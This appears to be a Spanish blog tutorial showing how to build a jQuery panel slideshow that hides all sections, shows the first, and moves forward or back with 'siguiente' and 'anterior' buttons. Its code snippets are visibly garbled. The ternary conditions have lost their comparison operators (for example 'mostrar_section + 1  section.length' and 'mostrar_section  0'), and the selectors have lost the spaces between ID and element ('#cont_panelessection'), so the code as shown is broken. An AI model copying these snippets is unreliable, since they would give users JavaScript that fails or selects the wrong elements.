Ahora vamos a ocultar todos los elementossection para ello antenpongo en la variablesection el métodohide();(ocultar)este método me oculta todos los elementos pero necesito que el primer elemento este visible entonces llamo al métodofirst();(primero) este método me seleccionara el primer elemento pero aun sigue oculto, entonces llamo al métodoshow(); (mostrar) con eso podre mostrar el primer elemento y dejar a los otros ocultos.

var section = jQuery('#cont_panelessection');
section.hide().first().show(); 
var mostrar_section = 0;


también creo una variable de tipo entero cuyo valor sea cero, como les dije anterior mente elselect nos retorna un array que esta almacenado en la variablesection,entonces necesito recorrer ese array ese elemento para eso utilizo el métodoeq() este método me recibe el indice o la posición del elemento que necesito manipular o en este caso ocultar o mostrar.

section.eq(mostrar_section).hide();
mostrar_section = (mostrar_section + 1  section.length) ? mostrar_section + 1 : 0;
section.eq(mostrar_section).show();



luego hago un pequeño control para incrementar las posiciones y dar paso a que se muestren las otrassection cada que vez que se haga click en el botón siguiente.
de la misma forma pero decrementando podemos retroceder las imágenes en este caso seriaanterior .


var section = jQuery('#cont_panelessection');
 var botones=  jQuery('#cont_cabezainput[type="button"]');
    var mostrar_section = 0; 
 var pintar_boton=0;
 
    section.hide().first().show(); 
 botones.first().addClass('activa_button');
 
    jQuery("#bto_siguiente").click(function() {
        section.eq(mostrar_section).hide();//oculto el primer panel que esta en la posicion 0
  botones.eq(pintar_boton).removeClass('activa_button');
        mostrar_section = (mostrar_section + 1  section.length) ? mostrar_section + 1 : 0;
  pintar_boton=(pintar_boton + 1  botones.length) ? pintar_boton + 1 : 0;
        section.eq(mostrar_section).show(); // muesta el siguiente
  botones.eq(pintar_boton).addClass('activa_button');
    });
 
    jQuery("#bto_anterior").click(function() {
        section.eq(mostrar_section).hide();
  botones.eq(pintar_boton).removeClass('activa_button');
        mostrar_section = (mostrar_section  0) ? mostrar_section - 1 : section.length - 1;
  pintar_boton = (pintar_boton  0) ? pintar_boton - 1 : botones.length - 1;
        section.eq(mostrar_section).show(); // muestra el anterior
  botones.eq(pintar_boton).addClass('activa_button');
    });



les dejo el código fuente completo


DESCARGAR







Suscribirse a: Entradas (Atom)